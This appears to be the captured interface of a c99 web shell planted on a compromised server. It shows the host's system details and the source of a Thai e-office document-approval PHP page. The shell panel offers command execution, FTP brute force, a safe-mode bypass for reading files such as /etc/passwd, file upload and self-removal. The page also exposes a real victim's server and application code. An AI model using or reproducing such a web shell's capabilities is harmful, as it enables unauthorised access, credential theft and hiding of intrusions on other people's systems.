!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/mistk/eoffice/admin/   drwxr-xr-x
Free 50.9 GB of 127.8 GB (39.83%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     showProposeAllDoc.php (18.94 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
include_once 
"../class/clsTable.php";
include_once 
"../class/clsDepartment.php";
include_once 
"../class/clsPerson.php";
include_once 
"../link/function.php";
include_once 
"../link/functionshow.php";
include_once 
"../class/clsDocLinePosition.php";
include_once 
"../class/clsDocLineConfig.php";
include_once 
"../class/clsReceiveSendType.php";
include_once 
"../class/clsDocType.php";
include_once 
"../class/clsDocSpeedLevel.php";
include_once 
"../class/clsDocSecreLevel.php";
include_once 
"../class/clsDocattatchesTmp.php";
include_once 
"../class/clsDocuments.php";
include_once 
"../class/clsDocattatches.php";
include_once 
"../class/clsDocReceiveSend.php";
include_once 
"../class/clsProposeType.php";
include_once 
"funct.php";
include_once 
"../class/clsannounceDocType.php";
include_once 
"../link/keyThai.php";
include_once 
"../class/clsDocWSign.php";
include_once 
"../class/clsDocCommentPropose.php";
include_once 
"getPrefix.php";
include_once 
"uploadDocSended.php"

$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oDP = new Department($oC);
$oDP2 = new Department($oC);
$oDP3 = new Department($oC);
$oDP5 = new Department($oC);
$oPS = new person($oC);
$oPS1 = new person($oC);
$oPS2 = new person($oC);
$oPS3 = new person($oC);
$oDlc = new DocLineConfig($oC);
$oDlc2 = new DocLineConfig($oC);
$oDlc3 = new DocLineConfig($oC);
$oDlc4 = new DocLineConfig($oC);
$oDlc5 = new DocLineConfig($oC);
$oDlc6 = new DocLineConfig($oC);
$oDlc7 = new DocLineConfig($oC);
$oDlp = new docLinePosition($oC);
$oRSt = new receiveSendType($oC);
$oDt = new doctype($oC);
$oDsl = new DocSpeedLevel($oC);
$oDcl = new DocSecretLevel($oC);
$oDtmp = new DocattatchesTmp($oC);
$oDoc = new Documents($oC);
$oDoc2 = new Documents($oC);
$oDoc3=new Documents($oC);
$oDatt = new Docattatches($oC);
$oRs = new DocReceiveSend($oC);
$oRs2 = new DocReceiveSend($oC);
$oRs3 = new DocReceiveSend($oC);
$oRs4 = new DocReceiveSend($oC);
$oRs5 = new DocReceiveSend($oC);
$oRs6 = new DocReceiveSend($oC);
$oRs7 = new DocReceiveSend($oC);
$oRs8 = new DocReceiveSend($oC);
$oRs9 = new DocReceiveSend($oC);
$oPt = new ProposeType($oC);
$oAn=new announceDocType($oC);
$MaxDocGroup=$oDP->SearchMaxDocGroup();
$InputThai=$oSys->SearchByInputThai();
$oDws = new docwsign($oC);
$oDcp = new doccommentpropose($oC);



if(
$_SESSION['DLCID'] && $_SESSION['one_position']!="1"){ include_once "selectposition.php";

$oDlc->SearchByKey($_SESSION['DLCID']); $oDlc->GetRecord(); 
    if(
$_SESSION['DLCIDSECOND']=="Y"){
        
$oDlc7->SearchByKey($_SESSION['DLCIDSECONDID']); $oDlc7->GetRecord(); 
        
$mypersonId=$oDlc7->personId;
    }else{
        
$mypersonId=$oDlc->personId;
    }
?>
<html>
<head>
<script language="javascript">
            var XMLHttpRequestObject=false;
            if(window.XMLHttpRequest){
                XMLHttpRequestObject=new XMLHttpRequest();
            }else if(window.ActiveXObject){
                XMLHttpRequestObject=new ActiveXObject("Microsoft.XMLHTTP");
            }
            function getData(data,divID){
                document.getElementById("div2").style.display = "";
                if(XMLHttpRequestObject){
                    var searchName = document.getElementById("name").value;
                    var obj = document.getElementById(divID);
                    data=data+"?name="+searchName;
                    
                    XMLHttpRequestObject.open("GET",data);
                    XMLHttpRequestObject.onreadystatechange=function(){
                        if(XMLHttpRequestObject.readyState==4 && 
                            XMLHttpRequestObject.status==200){
                            obj.innerHTML=XMLHttpRequestObject.responseText;
                        }
                    }
                    XMLHttpRequestObject.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
                    XMLHttpRequestObject.send(null);
                }
            }
</script>
<script language="javascript" src="../source/calendarDateInput.js"></script>
<script src="getinfo.js"></script>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head>

<body>
<table  width="100%"  align="center">
<tr><td >
<fieldset>
      <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="regisDoc.php">ลงทะเบียนใหม่/เสนอหนังสือ</a>
      <img src="../picture/ico3.gif" width="10" border="0" align="absmiddle">รายละเอียดการ<? if($method=="proposeAll"){  echo "เสนอลงนาม";}else if($method=="bypassAll"){  echo "ส่งผ่าน";  }   ?>หนังสือ</font>
    </font></legend>
        <form name="ff"  METHOD="POST" action="processProposeDocAll.php">
        <table align="center" width="93%" >
        <tr>
          <td width="68%" height="25"><img src="../picture/official_letter.gif"   border="0" > 
            <font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="3"><strong>การ<? if($method=="proposeAll"){  echo "เสนอลงนาม";}else if($method=="bypassAll"){  echo "ส่งผ่าน";  }   ?>หนังสือ</strong></font> 
           </td>
          </tr>
        <tr>
          <td  colspan="3"><hr color="#000099"></hr>
          </td>
        </tr>
        <tr><td colspan="3"><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2"><strong>รายการหนังสือที่จะ<? if($method=="proposeAll"){  echo "เสนอลงนาม";}else if($method=="bypassAll"){  echo "ส่งผ่าน";  }   ?></strong></font> </td></tr>
      </table>
        <table width="93%" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA"  style="border-collapse:collapse" >
          <? $p=bgForRegisPage($DtID);  ?>
          <tr height=22> 
            <td width="10%" align="center" background="<? echo $p?>"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>เลข<? echo ShowNameRSDoc($RsID);?></strong></font></td>
            <td width="18%" align="center" background="<? echo $p?>"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong><? echo ShowNameDocNo($DtID); ?></strong></font></td>
            <td width="15%" align="center" background="<? echo $p?>"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong><? echo ShowNameDate($DtID); ?></strong></font></td>
            <td width="50%" align="center" background="<? echo $p?>"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong><? echo ShowNameSubject($DtID); ?>/แฟ้มหนังสือ</strong></font></td>
          </tr>
           <input type="hidden" name="DrsIDproposeDoc" id="DrsIDproposeDoc"  value="<? echo $_POST['store_DrsID']; ?>">
          <?
                    $str 
$_POST['store_DrsID'];
                    
$tmp explode("," ,$str);
                    
$tmp array_reverse($tmp);
                    
$reversed_str join(','$tmp);                             
                  
                  
//echo '<br>---------------------------------------<br>';
                  
$store_DrsID_exp explode("," ,$reversed_str);
                  
$store_DrsID_exp_count=count($store_del_exp);
                    
                  
$store_DrsID_exp_count=count($store_DrsID_exp);
                  
$checkdoc=0;
                  for(
$j=0$j<$store_DrsID_exp_count;$j++){
                        
$t_id trim($store_DrsID_exp[$j]);
                        if(
strlen($t_id)==0){
                        
                        }else{
                            
$oRs5->SearchproposeAllDoc($t_id);$oRs5->GetRecord(); 
                            
$oDoc->SearchByKey($oRs5->DocID);$oDoc->GetRecord(); 
                            echo 
'<tr>';
                            echo 
'<td height=22 align=center>'.a2th($oRs5->DocTypeNo).'</td>';
                            echo 
'<td height=22 align=left>&nbsp;&nbsp;';   if(DtID!="15"){  echo a2th($oRs5->DocNo);  }else{ echo '-'; }   echo '</td>';      
                            echo 
'<td height=22 align=center>';   if($oDoc->DocDate =="0000-00-00"){ echo ""; }else{ echo abbreDate(splitDateDb2($oRs5->DocDate ,'/')); }   echo '</td>';  
                            echo 
'<td height=22 align=left>&nbsp;&nbsp;'.a2th($oRs5->DocSubject).'<br>';
                              if(
$oDoc->DocPID=="0" || $oDoc->DocPID==""){  $searchDoc=$oDoc->DocID; }else{ $searchDoc=$oDoc->DocPID; } ?>
                           <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>"> 
                            &nbsp;<img src="../picture/attach_ico.gif"   border="0" >&nbsp;แฟ้มที่เกี่ยวข้อง&nbsp;<? $cdoc=$oDatt->CountDocByDocID($searchDoc); echo a2th($cdoc);   if($cdoc==0){  $checkdoc++; }?>&nbsp;รายการ

                            <br></font> 
                            <?    $c=0;
                                
$oDatt->SearchByDocID($searchDoc);
                                while(
$oDatt->GetRecord()){  
                                    
$c++;  
                                    
$pathfile=$GLOBALS['path_download_documents'].$oDatt->DaUpFileName
                                
?>
                                    &nbsp;<a href="<? echo $pathfile ?>" target="_blank"><img src="../picture/allregistered_ico.gif" title="เปิดดูแฟ้มหนังสือ"  border="0"  style="cursor:pointer;" ></a>&nbsp; 
                                <?    echo "&nbsp;".$c.".&nbsp;".$oDatt->DaFileName."<br>";
                                }     
                                echo 
manageDocAtt2($searchDoc);
                            echo 
'</td>';
                            echo 
'</tr>';
                          }
                }
            
         
?> 
          
        </table><br>      
      <table width="60%" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>" style="border-collapse:collapse">
      <tr><td colspan="2" background="../picture/table_header_bg2.gif" height="25">
      <font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong> 
                    &nbsp;รายละเอียดสำหรับ<? if($method=="proposeAll"){  echo "เสนอลงนาม";}else if($method=="bypassAll"){  echo "ส่งผ่าน";  }   ?>: </strong></font> 
      </td></tr>
      <tr>
      <? //---------propose doc------------------------------?>
      <td  align="center" valign="top">
      <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>"><tr><td >
              <table width="97%" border="0" align="center" cellpadding="0" cellspacing="2" bordercolor="#DADADA">
                <tr height="40">
                  <td width="33%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_16"]; ?>" >&nbsp;&nbsp;<strong>ผู้มีอำนาจลงนาม</strong></td>
                  <td width="1%" align="center"><strong>:</strong></td>
                  <td width="66%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_16"]; ?>" align="center">&nbsp;
                  <?
                         $DlcPs
=GetNextPrePsToSign($DLCID,$oDlc->deptId);
                          if(
$DlcPs=="N"){  $NoSign=1?>
                                <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">ไม่ได้กำหนดสิทธิ์ผู้มีอำนาจเสนอลงนาม กรุณาติดต่อผู้รับผิดชอบระบบ</font>
                    <?    }else{
                                            
$oDlc2->SearchByKey($DlcPs); $oDlc2->GetRecord(); 
                                            
$oPS->SearchByKey($oDlc2->personId); $oPS->GetRecord();  
                                            
$oDlp->SearchByKey($oDlc2->DlpID);  $oDlp->GetRecord();    
                            
?>
                            <font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2"><? echo "&nbsp;&nbsp;&nbsp;(".$oDlp->DlpName.")"?></font>
                    <? }?>
                  </td>
                </tr>
                <tr height=22>
                  <td rowspan="2" align="left" width="33%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_17"]; ?>">&nbsp;&nbsp;<strong><!--a  style="cursor:pointer;" onClick = "addSupplementMsg('<? echo $DtID?>','<?  echo $RsID?>','<? echo $DocID?>','<? echo $DrsID;?>')"-->การบันทึก<br>&nbsp;&nbsp;ต่อเนื่อง<!--/a--></strong></td>
                  <td width="1%" align="center"><strong>:</strong></td>
                  <td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_17"]; ?>" align="left">
                  <table width="100%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_4"]; ?>"><tr><td ><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2"><b>เลือกข้อความบันทึกต่อเนื่อง</b><br><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">(คลิก <img src=../picture/arrow_down.gif  border=0> เพื่อเลือก)</font></font></td></tr></table>
                   <div style="overflow: auto; height: 100px;">
                      <table align="left" width="93%">
                      <? $oDcp->RSdoccommentpropose();
                            while(
$oDcp->GetRecord()){
                                    
$commentP=str_replace(' ','_',$oDcp->commentP);
                        
?><tr><td height="20"><img src=../picture/arrow_down.gif title=เลือก  border=0 style="cursor:pointer;" onclick=ShowInfoProposeSign('showSelectPropose.php','div3','<? echo $commentP?>','<? echo $InputThai?>')> <? echo $oDcp->commentP?></td></tr>
                        <?      ?>
                      </table></div><br>
                  <table width="100%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_4"]; ?>"><tr><td ><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2"><b>เลือกชื่อหน่วยงานย่อย</b><br><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">(คลิก <img src=../picture/arrow_down.gif  border=0> เพื่อเลือก)</font></font></td></tr></table>
                   <div style="overflow: auto; height: 100px;">
                      <table align="left" width="93%">
                      <?
                                $oDP5
->RSDeptByMaxdeptDate2();
                                while(
$oDP5->GetRecord()){
                        
?>
                        <tr><td height="20"><img src=../picture/arrow_down.gif title=เลือก  border=0 style="cursor:pointer;" onclick=ShowInfoProposeSign2('showSelectPropose.php','div3','<? echo $oDP5->deptName?>','<? echo $InputThai?>')><? echo $oDP5->deptName?></td></tr>
                    <? ?>
                      </table></div><br>
                   </td>
                </tr>
                      <tr><td> </td><td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_17"]; ?>"><span id="div3"><textarea name="DrsPropose"  id="DrsPropose" cols="30" rows="5" <? echo showtextarea('DrsPropose',$InputThai); ?>></textarea></div>
                        </td></tr>
                <tr>
                  <td width="33%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_17"]; ?>">&nbsp;&nbsp;<strong>ผู้<? if($method=="proposeAll"){  echo "เสนอลงนาม";}else if($method=="bypassAll"){  echo "ส่งผ่าน";  }   ?></strong></td>
                  <td width="1%" align="center" ><strong>:</strong></td>
                  <td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_17"]; ?>" align="center">
                 <table align="left">
                 <tr><td align="center">
                   <? $oPS->SearchByKey($mypersonId); $oPS->GetRecord();   ?>
            <? echo "&nbsp;".GetPrefix($oPS->prefixId).$oPS->fName."&nbsp;".$oPS->lName."<br>"
                    
$oDlp->SearchByKey($oDlc->DlpID);  $oDlp->GetRecord();
            
?>
            <font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2">
            <?
                        
echo "&nbsp;&nbsp;&nbsp;(".$oDlp->DlpName.")<br>"
             
?></font>   
                  </td></tr>
                  </table>
                  </td>
                </tr>
                <tr><td>&nbsp;</td></tr>
                <tr height=25>
                  <td align="center" colspan="3">
                    <input type="submit" name="addpropose" value="<? if($method=="proposeAll"){  echo "เสนอลงนาม";}else if($method=="bypassAll"){  echo "ส่งผ่าน/ลงนามแล้ว";  }   ?>" onClick="return checkFormat('<? echo $NoSign?>','<? echo $NoPs;?>','<? echo $checkdoc?>','<? echo $method?>');" <? if($oDlc->DlcActive!='Y'){  echo "disabled";  }  ?>><? if($method=="bypassAll"){   if($oDoc->RsID!="2"){ ?><br><input name="sendAllDoc" type="checkbox" value="Y"> ส่งหนังสือถึงผู้รับผิดชอบทีละหลายฉบับ (เฉพาะหน่วยงานภายใน)<? } } ?>
                    <input type="hidden" name="methodselect"  id="methodselect">
                  <input type="hidden" name="DlcPs" id="DlcPs" value="<? echo $DlcPs?>">
                   <input type="hidden" name="DlcPsId" id="DlcPsId" value="<? echo $oDlc2->personId?>">
                  <input type="hidden" name="personId" id="personId"  value="<? echo $mypersonId?>">
                      <input type="hidden" name="DlcIDlogin" id="DlcIDlogin"  value="<? echo $DLCID?>"> 
                      <input type="hidden" name="RsID"  id="RsID"   value="<? echo $RsID?>">
                  <input type="hidden" name="DtID" id="DtID"  value="<? echo $DtID?>">
                  <input type="hidden" name="page_id2" id="page_id2"  value="<? echo $page_id2?>">
                      <input type="hidden" name="searchpredocdate" id="searchpredocdate"  value="<? echo $searchpredocdate?>"> 
                      <input type="hidden" name="selectpredocdatevalue"  id="selectpredocdatevalue"   value="<? echo $selectpredocdatevalue?>">
                       <input type="hidden" name="folderstaff2" id="folderstaff2" value="<? echo $folderstaff2?>">
                <input type="hidden" name="forfolderstaff2"  id="forfolderstaff2" value="<? echo $forfolderstaff2?>">    
                <input name="searchPreName" type="hidden" value="<?php echo $searchPreName?>">
                <input name="searchPreNo" type="hidden" value="<?php echo $searchPreNo?>">
                <input name="searchPreTypeNoF" type="hidden" value="<?php echo $searchPreTypeNoF?>">
                <input name="searchPreTypeNoT" type="hidden" value="<?php echo $searchPreTypeNoT?>">
                
                  </td>
                </tr>
                
              </table>
      </td></tr></table>
      </td>
      <? //---------end propose doc------------------------?>
      </tr></table>
      <table align="center">
      <tr><td>&nbsp;</td></tr>
      <tr><td><input type="button" name="cancel" value="กลับหน้าหลัก" onClick="location.href = 'regisDoc.php?page_id2=<? echo $page_id2;?>&DtID=<? echo $DtID;?>&RsID=<? echo $RsID;?>&searchpredocdate=<? echo $searchpredocdate;?>&selectpredocdatevalue=<? echo $selectpredocdatevalue;?>&folderstaff2=<? echo $folderstaff2;?>&forfolderstaff2=<? echo $forfolderstaff2;?>'"></td></tr>
      </table>
      </form>  
</fieldset> 
<table width="95%" border="0" align="center">
        <tr> 
          <td width="155" align="left"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">&nbsp;<strong>หมายเหตุ 
            : </strong>&nbsp;</font></td>
          <td width="1009" align="left"><img src="../picture/allregistered_ico.gif"   border="0" > 
            <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">คลิกเพื่อเปิดดูแฟ้มหนังสือ </font></td>
        </tr>
            <tr> 
          <td width="155">&nbsp;</td>
          <td width="1009" align="left">
            <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">&nbsp; </font></td>
        </tr></table>
</td>
</tr>
</table>
</body>
</html>
<? }else{ include_once "unselectposition.php"; } ?>
<script language="javascript">
function checkFormat(p,q,checkdoc,method){
        if(p=="1" || q=="1"){
            if(method=="proposeAll"){
                window.alert("ไม่สามารถเสนอลงนามได้ กรุณาติดต่อผู้รับผิดชอบระบบ");
                return false ;
            }
        }
        if(checkdoc>0){
            window.alert("มีหนังสือบางรายการยังไม่ได้แนบแฟ้มหนังสือ กรุณากลับไปแนบแฟ้มหนังสือ");
            return false ;        
        }
        
        if(method=="proposeAll"){
                    str="คุณต้องการเสนอลงนามหนังสือแน่นอนใช่หรือไม่ ?"
                    ms="addpropose";
        }else if(method=="bypassAll"){
                    str="คุณต้องการส่งผ่านหนังสือแน่นอนใช่หรือไม่ ?"
                    ms="addbypass";
        }        
        var agree=confirm(str);
        if (agree){
            document.ff.methodselect.value=ms;
            return true;
        }else{
            return false ;
        }
}
function ShowInfoProposeSign2(data,divID,showName,InputThai){
                showNameOld=document.getElementById('DrsPropose').value;
                if(XMLHttpRequestObject){
                    var obj = document.getElementById(divID);
                    data=data+"?showName="+showNameOld+showName+"&InputThai="+InputThai;
                    
                    XMLHttpRequestObject.open("GET",data);
                    XMLHttpRequestObject.onreadystatechange=function(){
                        if(XMLHttpRequestObject.readyState==4 && 
                            XMLHttpRequestObject.status==200){
                            obj.innerHTML=XMLHttpRequestObject.responseText;
                        }
                    }
                    XMLHttpRequestObject.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
                    XMLHttpRequestObject.send(null);
                }
            }
function ShowInfoProposeSign(data,divID,showName,InputThai){
                str=showName;
                showName=str.replace(/_/gi,' ');
                if(XMLHttpRequestObject){
                    var obj = document.getElementById(divID);
                    data=data+"?showName="+showName+"&InputThai="+InputThai;
                    XMLHttpRequestObject.open("GET",data);
                    XMLHttpRequestObject.onreadystatechange=function(){
                        if(XMLHttpRequestObject.readyState==4 && 
                            XMLHttpRequestObject.status==200){
                            obj.innerHTML=XMLHttpRequestObject.responseText;
                        }
                    }
                    XMLHttpRequestObject.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
                    XMLHttpRequestObject.send(null);
                }
            }
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0162 ]--